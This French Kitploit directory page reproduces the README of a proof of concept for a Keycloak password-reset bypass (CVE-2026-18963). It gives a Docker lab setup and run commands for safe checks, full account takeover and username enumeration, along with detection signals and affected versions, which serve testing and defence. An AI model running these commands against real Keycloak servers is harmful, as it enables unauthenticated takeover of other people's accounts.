Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Keycloak_CVE-2026-18963_PoC — Ce dépôt est une preuve de concept (PoC) pour CVE-2026-18963. Veuillez l'utiliser uniquement sur des produits légaux (laboratoire, environnement local, etc.). | Kitploit
Outils/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationLabs et Pratique
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Ce dépôt est une preuve de concept (PoC) pour CVE-2026-18963. Veuillez l'utiliser uniquement sur des produits légaux (laboratoire, environnement local, etc.).

Voir le dépôt
1653il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-18963

Contournement de reset-credentials dans Keycloak → prise de contrôle de compte non authentifiée CVSS 9.1 | Affecté : Keycloak 26.0.0 – 26.7.1


Disposition

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Prérequis

  • Docker + Docker Compose
  • Python 3.9+ (bibliothèque standard uniquement, rien à installer)
  • Linux

Étape 1 : Démarrer le lab

docker compose up -d

Ou exécutez Keycloak directement, sans l'importation du realm :

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Patientez environ 30 à 60 secondes que Keycloak termine son démarrage.

Services

ServiceURLVersionStatut
kc-vulnhttp://localhost:808026.7.1VULNÉRABLE ⚠️
Mailpithttp://localhost:8025latestCapture les e-mails

Identifiants par défaut

  • Administrateur Keycloak : admin / admin
  • Utilisateur victime : victim / OriginalPassw0rd!
  • Realm : poc | Client : poc-app
  • Vérifier la configuration : Realm settings → Login tab → Forgot password est activé.
  • Si le realm poc ou l'utilisateur victim est absent, importez-le manuellement : Manage realms → Create realm → Upload realm-poc.json.

Étape 2 : Exécuter le PoC

Vérification sécurisée (aucun nom d'utilisateur requis, aucun effet de bord)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Résultat attendu sur kc-vuln : [!] VULNERABLE — email gate execution served


Preuve non destructive (s'arrête au formulaire Update Password)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Effets secondaires : un e-mail de réinitialisation est envoyé à la victime (consultez-le sur http://localhost:8025), et emailVerified est défini sur true.


Prise de contrôle complète

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Ensuite, vérifiez en vous connectant à http://localhost:8080/realms/poc/account avec victim / PoCPassw0rd!1.


Énumération des noms d'utilisateur

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Étape 3 : Réinitialiser la victime à son état initial

Le realm n'est importé qu'au premier démarrage, donc la réinitialisation la plus simple consiste à recréer l'environnement à partir de zéro :

docker compose down -v && docker compose up -d

Alternativement, réinitialisez le mot de passe manuellement dans la console d'administration (http://localhost:8080/admin) : Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Démontage

docker compose down -v

Signaux de détection

SignalLégitimeExploit
GET /login-actions/action-token?...✅ Oui❌ Non
POST .../reset-credentials avec le corps tryAnotherWay=yes❌ Non✅ Oui
SEND_RESET_PASSWORD → UPDATE_PASSWORD avec le même code_id < 2 sRare✅ Toujours
emailVerified passe à true sans événement VERIFY_EMAIL❌✅ Toujours

Dans Mailpit (http://localhost:8025), l'e-mail de réinitialisation du mot de passe arrive dans la boîte de réception de la victime, mais le lien qu'il contient n'est jamais cliqué lorsque l'exploit réussit.


Versions affectées

Ligne de versionAffectéeCorrectif
≤ 17 (WildFly)Non—
26.0 – 26.326.0.0 – 26.x.xAucun (doit passer à 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (rétroportage éditeur)
26.526.5.0 – 26.5.7Aucun
26.626.6.0 – 26.6.526.6.6 (rétroportage éditeur)
26.726.7.0 – 26.7.126.7.2 ✅

Les versions antérieures à 26.0 ne sont pas affectées : la note persistante AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED et l'écran de sélection « Try another way » dans le flux de réinitialisation ont été introduits dans 26.0.0. Les versions plus anciennes ne possèdent tout simplement pas le chemin de code vulnérable — ce qui n'est pas la même chose qu'être corrigé.


Références

  • Sploitus (README original) : https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Ticket Keycloak : https://github.com/keycloak/keycloak/issues/51833
  • PR de correctif : https://github.com/keycloak/keycloak/pull/51844
  • GHSA : GHSA-4gv3-mc9p-5wqc
  • Red Hat : https://access.redhat.com/security/cve/cve-2026-18963
Télécharger l’outil